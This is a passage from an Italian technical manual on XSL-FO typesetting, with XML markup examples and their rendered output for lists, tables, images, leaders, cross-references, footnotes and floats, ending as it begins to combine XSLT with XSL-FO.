        [width="ampiezza"]
        [altri_attributi]>
    [contenuto_blocco]
</fo:inline-container>
```

64.6.3 Elenchi

Gli elenchi sono definiti attraverso l'elemento '**`fo:list-block`**', che è, evidentemente, un blocco:

```
<fo:list-block [attributi]>
    <fo:list-item [attributi]>
        <fo:list-item-label [attributi]>
            blocchi
        </fo:list-item-label>
        <fo:list-item-body [attributi]>
            blocchi
        </fo:list-item-body>
    <fo:/list-item>
    ...
</fo:list-block>
```

In pratica, l'elemento '**`fo:list-block`**' contiene obbligatoriamente elementi '**`fo:list-item`**', i quali, a loro volta, contengono la coppia '**`fo:list-item-label`**' e '**`fo:list-item-body`**'. L'esempio seguente costruisce un elenco puntato molto semplice, dove i lembi che segnalano l'inizio di ogni punto sono costituiti da un asterisco:

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE fo:root SYSTEM "fo.dtd">
<fo:root xmlns:fo="http://www.w3.org/1999/XSL/Format">
    <fo:layout-master-set>
```

```
    <fo:simple-page-master         master-name="normale"
            page-width="210mm"      page-height="297mm"
            margin-top="2cm"        margin-bottom="2cm"
            margin-left="2cm"       margin-right="2cm">
        <fo:region-body />
    </fo:simple-page-master>
</fo:layout-master-set>
<fo:page-sequence           master-reference="normale"
        language="it"       country="it">
    <fo:flow                flow-name="xsl-region-body">
        <fo:block           font-size="7mm">
            <fo:block       space-after="1cm">
                Un elenco puntato:
            </fo:block>
            <fo:list-block  space-after="1cm">
                <fo:list-item>
                    <fo:list-item-label>
                        <fo:block>*</fo:block>
                    </fo:list-item-label>
                    <fo:list-item-body>
                        <fo:block>Uno</fo:block>
                    </fo:list-item-body>
                </fo:list-item>
                <fo:list-item>
                    <fo:list-item-label>
                        <fo:block>*</fo:block>
                    </fo:list-item-label>
                    <fo:list-item-body>
                        <fo:block>
                            Due. Bla bla bla bla bla bla bla bla bla
                            bla bla bla bla bla bla bla bla bla bla
                            bla bla bla bla bla bla bla bla bla bla
                            bla bla bla bla bla bla bla bla bla bla
                            bla bla bla bla bla bla bla bla bla bla
                            bla bla bla bla bla bla bla bla bla bla
                            bla bla bla bla bla bla bla bla bla bla
                            bla bla bla bla.
                        </fo:block>
                        <fo:block>
                            Bla bla bla bla bla bla bla bla bla bla
                            bla bla bla bla bla bla bla bla bla bla
                            bla bla bla bla bla bla bla bla bla bla
                            bla bla bla bla bla bla bla bla bla bla
                            bla bla bla bla bla bla bla bla bla bla
                            bla bla bla bla bla bla bla bla bla bla
                            bla bla bla bla bla bla bla bla bla bla
                            bla bla bla.
                        </fo:block>
```

```
                        </fo:list-item-body>
                    </fo:list-item>
                    <fo:list-item>
                        <fo:list-item-label>
                            <fo:block>*</fo:block>
                        </fo:list-item-label>
                        <fo:list-item-body>
                            <fo:block>Tre</fo:block>
                        </fo:list-item-body>
                    </fo:list-item>
                </fo:list-block>
            </fo:block>
        </fo:flow>
    </fo:page-sequence>
</fo:root>
```

Tuttavia, se si esegue la composizione si può osservare che gli asterischi si trovano a essere sovrapposti al corpo delle voci:

Un elenco puntato:

Uno
Due. Bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla.
Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla.
Tre

Per evitare che ciò accada, è necessario intervenire con dei rientri appropriati, utilizzando gli attributi dei blocchi che sono contenuti, sia come etichette, sia come corpo delle voci elencate. Per la precisione, si usa l'attributo '**`end-indent`**' nei blocchi delle etichette e l'attributo '**`start-indent`**' nei blocchi del corpo. Per fare in modo che queste distanze vengano calcolate automaticamente, si usano delle funzioni interne a XSL-FO, in grado di restituire il valore appropriato al contesto. Si tratta rispettivamente di ***label-end()*** e di ***body-start()***. Pertanto, l'esempio va modificato come segue:

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE fo:root SYSTEM "fo.dtd">
<fo:root xmlns:fo="http://www.w3.org/1999/XSL/Format">
    <fo:layout-master-set>
        <fo:simple-page-master          master-name="normale"
                page-width="210mm"      page-height="297mm"
                margin-top="2cm"        margin-bottom="2cm"
                margin-left="2cm"       margin-right="2cm">
            <fo:region-body />
        </fo:simple-page-master>
    </fo:layout-master-set>
    <fo:page-sequence           master-reference="normale"
            language="it"       country="it">
        <fo:flow                flow-name="xsl-region-body">
            <fo:block           font-size="7mm">
                <fo:block       space-after="1cm">
                    Un elenco puntato:
                </fo:block>
                <fo:list-block  space-after="1cm">
                    <fo:list-item>
                        <fo:list-item-label>
                            <fo:block end-indent="label-end()">*</fo:block>
                        </fo:list-item-label>
                        <fo:list-item-body>
                            <fo:block start-indent="body-start()">Uno</fo:block>
                        </fo:list-item-body>
                    </fo:list-item>
                    <fo:list-item>
                        <fo:list-item-label>
                            <fo:block end-indent="label-end()">*</fo:block>
                        </fo:list-item-label>
                        <fo:list-item-body>
                            <fo:block start-indent="body-start()">
                                Due. Bla bla bla bla bla bla bla bla bla
                                bla bla bla bla bla bla bla bla bla bla
                                bla bla bla bla bla bla bla bla bla bla
                                bla bla bla bla bla bla bla bla bla bla
                                bla bla bla bla bla bla bla bla bla bla
                                bla bla bla bla bla bla bla bla bla bla
                                bla bla bla bla bla bla bla bla bla bla
                                bla bla bla bla.
                            </fo:block>
                            <fo:block start-indent="body-start()">
                                Bla bla bla bla bla bla bla bla bla bla
                                bla bla bla bla bla bla bla bla bla bla
                                bla bla bla bla bla bla bla bla bla bla
                                bla bla bla bla bla bla bla bla bla bla
                                bla bla bla bla bla bla bla bla bla bla
                                bla bla bla bla bla bla bla bla bla bla
                                bla bla bla bla bla bla bla bla bla bla
                                bla bla bla.
                            </fo:block>
```

```
                        </fo:list-item-body>
                    </fo:list-item>
                    <fo:list-item>
                        <fo:list-item-label>
                            <fo:block end-indent="label-end()">*</fo:block>
                        </fo:list-item-label>
                        <fo:list-item-body>
                            <fo:block start-indent="body-start()">Tre</fo:block>
                        </fo:list-item-body>
                    </fo:list-item>
                </fo:list-block>
            </fo:block>
        </fo:flow>
    </fo:page-sequence>
</fo:root>
```

Questa volta il risultato della composizione è corretto:

```
Un elenco puntato:

*   Uno
*   Due. Bla bla bla bla bla bla bla bla bla bla bla bla
    bla bla bla bla bla bla bla bla bla bla bla bla bla bla
    bla bla bla bla bla bla bla bla bla bla bla bla bla bla
    bla bla bla bla bla bla bla bla bla bla bla bla bla bla
    bla bla bla bla bla bla bla bla bla bla bla bla bla bla
    bla bla bla bla bla.
    Bla bla bla bla bla bla bla bla bla bla bla bla bla bla
    bla bla bla bla bla bla bla bla bla bla bla bla bla bla
    bla bla bla bla bla bla bla bla bla bla bla bla bla bla
    bla bla bla bla bla bla bla bla bla bla bla bla bla bla
    bla bla bla bla bla bla bla bla bla bla bla bla bla bla
    bla bla bla.
*   Tre
```

64.6.4 Tabelle

Come si può immaginare, la realizzazione di una tabella con XSL-FO è un'operazione abbastanza complessa, anche nelle situazioni più semplici:

```
<fo:table-and-caption [attributi] >
    [<fo:table-caption [attributi] >
        blocchi
    </fo:table-caption>]
    <fo:table
            [table-layout="auto"…"fixed"]
            [altri_attributi] >
        [<fo:table-column
                [table-column="ampiezza"]
                [attributi] />]
        …
        [<fo:table-header [attributi] >
            righe
        </fo:table-header>]
        [<fo:table-footer [attributi] >
            righe
        </fo:table-footer>]
        <fo:table-body [attributi] >
            righe
        </fo:table-body>
    </fo:table-caption>
</fo:table-and-caption>
```

Il significato dei vari elementi che appaiono nel modello sintattico dovrebbe essere intuitivo; si osservi in particolare che una tabella si può realizzare anche partendo soltanto dall'elemento '**`fo:table`**', quando non è importante l'inserimento di una didascalia con l'elemento '**`fo:table-caption`**'. Le righe interne all'intestazione, al piè di pagina e al corpo, vengono inserite nel modo seguente:

```
<fo:table-row [attributi] >
    <fo:table-cell [attributi] >
        blocchi
    </fo:table-cell>
</fo:table-row>
```

L'ampiezza delle colonne, i bordi e altre caratteristiche della tabella vengono gestiti attraverso gli attributi. Teoricamente, l'elemento '**`fo:table`**' dispone dell'attributo '**`table-layout`**', con il quale si potrebbe richiedere un adattamento automatico della larghezza delle colonne; in pratica questa funzionalità è abbastanza difficile da trovare, pertanto si è costretti a usare l'attributo '**`column-width`**' degli elementi '**`fo:table-column`**'.

L'esempio seguente mostra una tabella molto semplice e anche molto povera, perché manca qualunque bordo e perché viene definita senza l'elemento '**`fo:table-and-caption`**', in

modo da garantire il funzionamento con le prime edizioni di FOP:

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE fo:root SYSTEM "fo.dtd">
<fo:root xmlns:fo="http://www.w3.org/1999/XSL/Format">
    <fo:layout-master-set>
        <fo:simple-page-master          master-name="normale"
                page-width="210mm"      page-height="297mm"
                margin-top="2cm"        margin-bottom="2cm"
                margin-left="2cm"       margin-right="2cm">
            <fo:region-body />
        </fo:simple-page-master>
    </fo:layout-master-set>
    <fo:page-sequence           master-reference="normale"
            language="it"       country="it">
        <fo:flow                flow-name="xsl-region-body">
            <fo:block           font-size="7mm">
                <fo:block>Tabella di esempio. Bla bla bla bla bla bla
                bla bla bla bla bla bla bla bla bla bla bla bla bla bla
                bla bla bla bla bla bla bla bla bla bla bla bla bla bla
                bla bla bla bla bla bla bla bla bla bla bla bla bla bla
                bla bla bla bla bla bla bla bla bla</fo:block>
                <fo:table table-layout="fixed">
                    <fo:table-column column-width="5cm" />
                    <fo:table-column column-width="7cm" />
                    <fo:table-column column-width="5cm" />
                    <fo:table-header>
                        <fo:table-row>
                            <fo:table-cell>
                                <fo:block>
                                    Parola di controllo
                                </fo:block>
                            </fo:table-cell>
                            <fo:table-cell>
                                <fo:block>
                                    Competenza
                                </fo:block>
                            </fo:table-cell>
                            <fo:table-cell>
                                <fo:block>
                                    Condizione o valore predefinito
                                </fo:block>
                            </fo:table-cell>
                        </fo:table-row>
                    </fo:table-header>
                    <fo:table-body>
                        <fo:table-row>
                            <fo:table-cell>
                                <fo:block>
```

```
                        \hoffset
                    </fo:block>
                </fo:table-cell>
                <fo:table-cell>
                    <fo:block>
                        Posizione iniziale dei paragrafi
                        nella pagina.
                    </fo:block>
                </fo:table-cell>
                <fo:table-cell>
                    <fo:block>
                        0
                    </fo:block>
                </fo:table-cell>
            </fo:table-row>
            <fo:table-row>
                <fo:table-cell>
                    <fo:block>
                        \hsize
                    </fo:block>
                </fo:table-cell>
                <fo:table-cell>
                    <fo:block>
                        Larghezza del paragrafo a partire
                        da \hoffset.
                    </fo:block>
                </fo:table-cell>
                <fo:table-cell>
                    <fo:block>
                        6,5 pollici
                    </fo:block>
                </fo:table-cell>
            </fo:table-row>
            <fo:table-row>
                <fo:table-cell>
                    <fo:block>
                        \parindent
                    </fo:block>
                </fo:table-cell>
                <fo:table-cell>
                    <fo:block>
                        Rientro della prima riga.
                    </fo:block>
                </fo:table-cell>
                <fo:table-cell>
                    <fo:block>
                        20 punti
                    </fo:block>
```

```
                        </fo:table-cell>
                    </fo:table-row>
                    <fo:table-row>
                        <fo:table-cell>
                            <fo:block>
                                \baselineskip
                            </fo:block>
                        </fo:table-cell>
                        <fo:table-cell>
                            <fo:block>
                                Distanza tra la base di una riga e
                                la base della riga successiva.
                            </fo:block>
                        </fo:table-cell>
                        <fo:table-cell>
                            <fo:block>
                                12 punti
                            </fo:block>
                        </fo:table-cell>
                    </fo:table-row>
                    <fo:table-row>
                        <fo:table-cell>
                            <fo:block>
                                \parskip
                            </fo:block>
                        </fo:table-cell>
                        <fo:table-cell>
                            <fo:block>
                                Distanza aggiuntiva tra i
                                paragrafi.
                            </fo:block>
                        </fo:table-cell>
                        <fo:table-cell>
                            <fo:block>
                                0
                            </fo:block>
                        </fo:table-cell>
                    </fo:table-row>
                    <fo:table-row>
                        <fo:table-cell>
                            <fo:block>
                                \raggedright
                            </fo:block>
                        </fo:table-cell>
                        <fo:table-cell>
                            <fo:block>
                                Allinea il testo a sinistra.
                            </fo:block>
```

```
                            </fo:table-cell>
                            <fo:table-cell>
                                <fo:block>
                                    allineato simultaneamente a
                                    sinistra e a destra
                                </fo:block>
                            </fo:table-cell>
                        </fo:table-row>
                    </fo:table-body>
                </fo:table>
            </fo:block>
        </fo:flow>
    </fo:page-sequence>
</fo:root>
```

Ecco il risultato:

Tabella di esempio. Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla

Parola di controllo	Competenza	Condizione o valore predefinito
\hoffset	Posizione iniziale dei paragrafi nella pagina.	0
\hsize	Larghezza del paragrafo a partire da \hoffset.	6,5 pollici
\parindent	Rientro della prima riga.	20 punti
\baselineskip	Distanza tra la base di una riga e la base della riga successiva.	12 punti
\parskip	Distanza aggiuntiva tra i paragrafi.	0
\raggedright	Allinea il testo a sinistra.	allineato simultaneamente a sinistra e a destra

Per introdurre dei bordi, almeno teoricamente, si può intervenire dal blocco contenuto nella singola cella, fino all'elemento '**`fo:table`**' più esterno; tuttavia, a seconda del programma di elaborazione che si utilizza, può darsi che in alcuni punti i bordi non vengano presi in considerazione.

64.6.5 Inserzione di immagini

L'inserzione di un'immagine si ottiene con l'elemento '**`fo:external-graphic`**', che è vuoto e appartiene a un contesto lineare:

```
<fo:external-graphic>
        src="file" | "indirizzo_uri"
        [scaling="uniform" | "non-uniform"]
        [height="auto" | "altezza]
        [width="auto" | "larghezza]
        [altri_attributi]  />
```

Se non si indicano delle dimensioni attraverso gli attributi '**`height`**' o '**`width`**', l'immagine viene inserita alla sua dimensione naturale. Se si modifica una sola dimensione, normalmente si ottiene l'adattamento dell'altro valore in modo relativo; tuttavia, attraverso l'opzione '**`scaling="non-uniform"`**', è possibile deformare l'immagine.

Il file o l'indirizzo URI dell'immagine deve fare riferimento a un formato compatibile con le capacità elaborative del sistema usato per la composizione. Di solito vanno bene almeno i formati GIF e JPG.

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE fo:root SYSTEM "fo.dtd">
<fo:root xmlns:fo="http://www.w3.org/1999/XSL/Format">
    <fo:layout-master-set>
        <fo:simple-page-master          master-name="normale"
                page-width="210mm"      page-height="297mm"
                margin-top="2cm"        margin-bottom="2cm"
                margin-left="2cm"       margin-right="2cm">
            <fo:region-body />
        </fo:simple-page-master>
    </fo:layout-master-set>
    <fo:page-sequence           master-reference="normale"
            language="it"       country="it">
        <fo:flow                flow-name="xsl-region-body">
            <fo:block           font-size="7mm">
                <fo:block>
                    Ecco una figura al naturale:
                </fo:block>
                <fo:block>
                    <fo:external-graphic
                            src="esempio.jpg" />
                </fo:block>
                <fo:block>
                    La prossima figura &#x00E8; larga 7 cm ed &#x00E8;
                    collocata al centro:
                </fo:block>
```

```
                    <fo:block   text-align="center">
                        <fo:external-graphic
                                src="esempio.jpg"
                                scaling="uniform"
                                width="7cm" />
                    </fo:block>
                </fo:block>
            </fo:flow>
        </fo:page-sequence>
    </fo:root>
```

L'esempio mostra l'inserzione della stessa immagine due volte, in modi differenti. In particolare, la seconda volta l'immagine viene centrata orizzontalmente per mezzo dell'attributo '**`text-align`**' dell'elemento '**`fo:block`**' che la contiene.

Ecco una figura al naturale:

La prossima figura è larga 7 cm ed è collocata al centro:

64.6.6 Linee orizzontali

Si può realizzare facilmente una linea orizzontale con un elemento '**`fo:block`**' bordato, magari anche vuoto:

```
<fo:block
        border-after-style="stile"
        [border-after-width="spessore"]
        [border-after-color="colore"]
        [altri_attributi]  />
```

Per inserire delle linee orizzontali in un contesto lineare, ovvero all'interno del testo, si usa l'elemento '**fo:leader**':

```
<fo:leader
        leader-pattern="use-content"
        [leader-length="lunghezza"]
        [altri_attributi] >
    modello
</fo:leader>
```

```
<fo:leader
        leader-pattern="space"|"rule"|"dots"
        [leader-length="lunghezza"]
        [rule-style="stile"]
        [rule-thickness="spessore"]
        [altri_attributi]  />
```

Se l'elemento contiene qualcosa e all'attributo '**leader-pattern**' viene associato il valore '**use-content**', questo viene usato per costruire la linea (per esempio si potrebbe realizzare una linea fatta di asterischi o di sequenze più complesse). Tuttavia, di solito si vogliono realizzare soltanto linee continue, spezzate o puntate, pertanto l'elemento si usa prevalentemente vuoto.

È importante osservare che la linea che si ottiene raggiunge la fine dello spazio orizzontale disponibile, pertanto, per realizzare linee di collegamento come quelle degli indici, dove appare un titolo alla sinistra e un numero di pagina alla destra, occorre inserire tutto in una tabella. Nell'esempio seguente vengono mostrati diversi casi, compresa la simulazione di un indice elementare, inserito in una tabella:

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE fo:root SYSTEM "fo.dtd">
<fo:root xmlns:fo="http://www.w3.org/1999/XSL/Format">
    <fo:layout-master-set>
        <fo:simple-page-master          master-name="normale"
                page-width="210mm"      page-height="297mm"
                margin-top="2cm"        margin-bottom="2cm"
                margin-left="2cm"       margin-right="2cm">
            <fo:region-body />
```

```
        </fo:simple-page-master>
    </fo:layout-master-set>
    <fo:page-sequence           master-reference="normale"
            language="it"       country="it">
        <fo:flow                flow-name="xsl-region-body">
            <fo:block           font-size="7mm">
                <fo:block>
                    Bla bla bla bla bla bla bla bla bla bla bla bla bla
                    bla bla bla bla bla bla bla bla bla bla bla bla bla
                    bla bla bla bla bla bla bla bla bla.
                </fo:block>
                <fo:block>
                    La linea orizzontale successiva &#x00E8; ottenuta
                    con un bordo a un elemento fo:block vuoto:
                </fo:block>
                <fo:block
                        border-after-style="solid"
                        border-after-width="3mm"
                        border-after-color="black" />
                <fo:block>
                    La linea orizzontale successiva &#x00E8; ottenuta
                    con un elemento fo:leader:
                </fo:block>
                <fo:block>
                    <fo:leader
                            leader-pattern="rule"
                            rule-style="solid"
                            rule-thickness="1mm"
                            color="blue"/>
                </fo:block>
                <fo:block>
                    L'esempio successivo mostra che con fo:leader la
                    linea parte dalla posizione orizzontale corrente e
                    raggiunge la fine della riga:
                </fo:block>
                <fo:block>
                    Bla bla bla:
                    <fo:leader
                            leader-alignment="reference-area"
                            leader-pattern="dots"
                            rule-style="solid"
                            rule-thickness="1mm"
                            color="blue"/>
                    bla bla bla.
                </fo:block>
                <fo:block>
                    &#x00C8; necessario usare una tabella
                    per usare le linee allo scopo di unire del testo in
```

```
                    modo ordinato, come si fa con gli indici:
                </fo:block>
                <fo:table   table-layout="fixed">
                    <fo:table-column column-width="16cm"/>
                    <fo:table-column column-width="1cm"/>
                    <fo:table-body>
                        <fo:table-row>
                            <fo:table-cell>
                                <fo:block>
                                    Esempio di un titolo a pagina:
                                    <fo:leader
                                            leader-pattern="dots"
                                            rule-style="solid"
                                            rule-thickness="1mm"
                                        color="blue"/>
                                </fo:block>
                            </fo:table-cell>
                            <fo:table-cell>
                                <fo:block>
                                    1
                                </fo:block>
                            </fo:table-cell>
                        </fo:table-row>
                        <fo:table-row>
                            <fo:table-cell>
                                <fo:block>
                                    Un altro titolo a pagina:
                                    <fo:leader
                                            leader-pattern="dots"
                                            rule-style="solid"
                                            rule-thickness="1mm"
                                        color="blue"/>
                                </fo:block>
                            </fo:table-cell>
                            <fo:table-cell>
                                <fo:block>
                                    20
                                </fo:block>
                            </fo:table-cell>
                        </fo:table-row>
                    </fo:table-body>
                </fo:table>
            </fo:block>
        </fo:flow>
    </fo:page-sequence>
</fo:root>
```

Ecco il risultato della composizione dell'esempio:

Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla.
La linea orizzontale successiva è ottenuta con un bordo a un elemento fo:block vuoto:

La linea orizzontale successiva è ottenuta con un elemento fo:leader:

L'esempio successivo mostra che con fo:leader la linea parte dalla posizione orizzontale corrente e raggiunge la fine della riga:
Bla bla bla: ....
bla bla bla.
È necessario usare una tabella per usare le linee allo scopo di unire del testo in modo ordinato, come si fa con gli indici:
Esempio di un titolo a pagina: 1
Un altro titolo a pagina: 20

64.6.7 Riferimenti incrociati

XSL-FO ha una gestione molto sofisticata dei riferimenti ipertestuali; tuttavia, qui si vuole mostrare solo l'uso più semplice. In generale, la maggior parte degli elementi può contenere l'attributo '**`id`**', con lo scopo di associare una stringa di identificazione univoca, in modo da consentire successivamente di raggiungere il contenuto di questi elementi attraverso un riferimento interno.

Per fare riferimento a qualcosa, si usa l'elemento '**`fo:basic-link`**' (nell'ambito di un contesto lineare), specificando se si tratta di un riferimento interno o esterno, con l'uso alternativo degli attributi '**`internal-destination`**' e '**`external-destination`**':

```
<fo:basic-link
        {internal-destination="stringa_id"} | {external-destination="indirizzo_uri"}
        [altri_attributi] >
    contenuto
</fo:basic-link>
```

Il testo contenuto nell'elemento serve per individuare la zona su cui funziona la selezione del riferimento, come nell'esempio seguente, dove la parola «qui» serve come superficie su cui fare un clic con il mouse:

```
Per raggiungere il sito, basta fare un clic <fo:basic-link
external-destination="http://www.brot.dg">qui</fo:basic-link>.
```

Per fare riferimento a una pagina, in modo da ottenerne il numero nella composizione stampata, si usano due elementi per due situazioni differenti:

```
<fo:page-number [attributi] />
```

```
<fo:page-number-citation
        ref-id="stringa_a_cui_si_fa_riferimento"
        [attributi] />
```

Nel primo caso, si ottiene il numero della pagina corrente; nel secondo, si ottiene il numero di pagina a cui si fa riferimento con la stringa indicata con l'attributo '**ref-id**'. L'esempio seguente riassume l'uso di questi elementi, dove in particolare si inserisce il numero di pagina nella regione inferiore:

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE fo:root SYSTEM "fo.dtd">
<fo:root xmlns:fo="http://www.w3.org/1999/XSL/Format">
    <fo:layout-master-set>
        <fo:simple-page-master
                master-name="normale"
                page-width="210mm"
                page-height="297mm"
                margin-top="2cm"
                margin-bottom="2cm"
                margin-left="2cm"
                margin-right="2cm">
            <fo:region-body   margin-top="1cm" margin-bottom="1cm"/>
            <fo:region-before extent="1cm" />
            <fo:region-after  extent="1cm" />
        </fo:simple-page-master>
    </fo:layout-master-set>
    <fo:page-sequence
            master-reference="normale"
            initial-page-number="1"
            force-page-count="even"
            language="it"
            country="it">
        <fo:static-content flow-name="xsl-region-before">
            <fo:block   font-size="7mm">
                Riga di intestazione.
            </fo:block>
        </fo:static-content>
        <fo:static-content flow-name="xsl-region-after">
            <fo:block   font-size="7mm">
                pagina <fo:page-number />
            </fo:block>
        </fo:static-content>
        <fo:flow flow-name="xsl-region-body">
            <fo:block   font-size="7mm">
```

```
                  <fo:block id="riferimento">
                      Qui &#x00E8; inserita un'ancora a cui si pu&#x00F2;
                      fare riferimento.
                  </fo:block>
                  <fo:block>
                      Bla bla bla bla bla bla bla bla bla bla bla bla bla
                      bla bla bla bla bla bla bla bla bla bla bla bla bla
                      bla bla bla bla bla bla bla bla bla bla bla bla bla
                      bla bla bla bla bla bla.
                  </fo:block>
                  <!-- Inserire qui altri fo:block per ottenere piu` pagine -->
                  <fo:block>
                      Il riferimento che ci interessa si trova nella
                      <fo:basic-link
                      internal-destination="riferimento">pagina
                      <fo:page-number-citation
                      ref-id="riferimento"/></fo:basic-link>. Per il resto
                      <fo:basic-link
                      external-destination="http://www.brot.dg">si
                      pu&#x00F2; raggiungere il sito
                      http://www.brot.dg</fo:basic-link>.
                  </fo:block>
              </fo:block>
          </fo:flow>
      </fo:page-sequence>
</fo:root>
```

Ecco come potrebbe apparire il risultato della composizione:

Riga di intestazione.

Qui è inserita un'ancora a cui si può fare riferimento.
Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla.
Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla.
Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla.
Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla.
Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla.
Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla.
Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla.
Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla.
Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla.
Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla

pagina 1

Riga di intestazione.

bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla.
Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla.
Il riferimento che ci interessa si trova nella pagina 1.
Per il resto si può raggiungere il sito
http://www.brot.dg.

pagina 2

64.6.8 Componenti autonomi rispetto al testo

Esistono due tipi di componenti che, nella composizione, non si collocano nella posizione in cui appaiono nel corso del documento. Si tratta di note a piè pagina e di oggetti fluttuanti. Le note a piè pagina si inseriscono nell'ambito di un contesto lineare e si ottengono con questa sintassi:

```
<fo:footnote>
    <fo:inline [attributi] >
        simbolo
    </fo:inline>
    <fo:footnote-body>
        blocchi
    </fo:footnote-body>
</fo:footnote>
```

In pratica, l'elemento '**`fo:footnote`**' contiene necessariamente un elemento '**`fo:inline`**', il cui scopo è quello di inserire un simbolo o qualunque cosa serva per rinviare il lettore alla nota a piè pagina; subito dopo, l'elemento '**`fo:footnote-body`**' contiene uno o più blocchi che contengono la nota vera e propria. Si tenga in considerazione il fatto che, probabilmente, si vuole inserire all'inizio delle note lo stesso simbolo usato per il richiamo.

```
<fo:block>
    Bla bla bla bla bla bla bla bla bla bla bla bla bla.
    <fo:footnote>
```

```
        <fo:inline>**</fo:inline>
        <fo:footnote-body>
            <fo:block>
                **) Ovviamente, questa &#x00E8; una
                frase senza senso.
            </fo:block>
        </fo:footnote-body>
    </fo:footnote>
    Bla bla bla bla bla bla bla bla bla bla bla bla bla.
    Bla bla bla bla bla bla bla bla bla bla bla bla bla.
</fo:block>
```

L'esempio mostra solo una porzione di un file XSL-FO, che, nella composizione finale potrebbe apparire in modo simile a questo:

Bla bla bla bla bla bla bla bla bla bla bla bla bla. ** Bla bla bla bla bla bla bla bla bla bla bla bla bla. Bla bla bla bla bla bla bla bla bla bla bla bla bla.

**) Ovviamente, questa è una frase senza senso.

Gli oggetti fluttuanti si inseriscono all'interno dell'elemento '**`fo:float`**', che si comporta come un blocco:

```
<fo:float
        float="before"|"start"|"end"|...
        [clear="posizione"]>
    blocchi
</fo:float>
```

In pratica, con l'aiuto dell'attributo '**`float`**' si può stabilire in che modo debba essere collocato l'oggetto fluttuante, mentre l'attributo '**`clear`**' serve a definire un comportamento in prossimità di altri oggetti fluttuanti.

Non vengono mostrati esempi sull'uso di questo elemento, anche se si può intuire la sua importanza in presenza di immagini e piccole tabelle che è bene collocare in modo dinamico nel corpo di un documento.

64.7 XSLT e XSL-FO

Fino a questo punto, XSLT e XSL-FO sono stati descritti separatamente, per evitare confusione, mentre fanno parte di un sistema integrato. Una volta compreso il meccanismo di XSLT e di XSL-FO, non dovrebbe essere difficile unire le due cose per trasformare un documento XML in un file XSL-FO, allo scopo di arrivare poi alla composizione finale.

In precedenza è stato mostrato un file XML molto semplice, associando a questo la trasformazione in formati comuni:

```
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE relazione [
    <!ELEMENT relazione     (titolo?, data, contenuto)>
    <!ATTLIST relazione
        xml:lang   CDATA    "">
    <!ELEMENT titolo        (#PCDATA)>
    <!ELEMENT data          (#PCDATA)>
    <!ELEMENT contenuto     (paragrafo+, firma+)>
    <!ELEMENT paragrafo     (#PCDATA)>
    <!ELEMENT firma         (#PCDATA)>
]>

<relazione xml:lang="it">
<titolo>Relazione introduttiva su XML</titolo>

<data>11/11/2011</data>

<contenuto>

<paragrafo>XML sta per Extensible Markup Language.    bla bla bla...
Perché,... così,... perciò,... sarà...</paragrafo>

<paragrafo>Bla, bla, bla....</paragrafo>

<firma>Pinco Pallino</firma>

</contenuto>
</relazione>
```

Per trasformare questo tipo di file in un foglio di stile XSL-FO, si può usare un foglio di stile XSLT come quello seguente; si osservi anche la presenza della dichiarazione del

dominio applicativo associato al prefisso ‘**`fo:`**’.

```
<xsl:stylesheet
    version="1.0"
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    xmlns:fo="http://www.w3.org/1999/XSL/Format">
    <xsl:output
        method="xml"
        indent="yes"
        encoding="UTF-8" />
    <xsl:template match="/">
        <fo:root xmlns:fo="http://www.w3.org/1999/XSL/Format">
